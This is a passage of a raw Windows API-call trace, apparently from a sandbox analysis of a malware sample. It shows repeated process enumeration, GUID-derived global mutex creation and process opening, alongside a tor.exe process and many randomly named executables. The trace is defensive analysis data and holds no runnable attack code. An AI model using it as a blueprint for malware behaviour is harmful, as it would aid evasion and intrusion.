th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0124.423] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0124.423] CloseHandle (hObject=0x56c) returned 1 [0124.423] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0124.527] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0124.529] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.530] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.531] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.532] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.533] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.534] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.535] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.536] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.537] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.538] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.539] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.540] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.541] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.542] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.543] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.543] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.544] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.545] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.546] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.546] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.547] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.548] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0124.548] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0124.548] GetLastError () returned 0xb7 [0124.548] CloseHandle (hObject=0x6cc) returned 1 [0124.548] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.549] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0124.549] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0124.549] GetLastError () returned 0xb7 [0124.549] CloseHandle (hObject=0x6cc) returned 1 [0124.549] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.550] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.551] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0124.551] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0124.551] GetLastError () returned 0x0 [0124.551] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0124.551] CloseHandle (hObject=0x6cc) returned 1 [0124.551] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.552] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0124.552] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0124.552] GetLastError () returned 0x0 [0124.552] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0124.552] CloseHandle (hObject=0x6cc) returned 1 [0124.552] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.553] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0124.553] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0124.553] GetLastError () returned 0xb7 [0124.553] CloseHandle (hObject=0x6cc) returned 1 [0124.553] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.553] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0124.553] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0124.554] GetLastError () returned 0x0 [0124.554] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0124.554] CloseHandle (hObject=0x6cc) returned 1 [0124.554] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0124.554] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0124.555] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0124.556] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0124.557] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0124.557] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0124.558] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0124.559] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0124.560] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0124.561] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0124.561] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0124.562] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0124.563] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0124.564] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0124.565] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0124.565] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0124.566] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0124.567] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0124.568] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0124.569] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0124.569] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0124.570] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.571] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0124.572] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.573] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0124.573] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.574] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.575] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.576] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0124.577] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.577] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0124.578] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0124.578] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0124.578] GetLastError () returned 0xb7 [0124.578] CloseHandle (hObject=0x6cc) returned 1 [0124.578] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0124.579] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0124.580] CloseHandle (hObject=0x56c) returned 1 [0124.580] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0124.683] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0124.685] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.686] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.687] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.688] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.688] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.689] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.690] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, 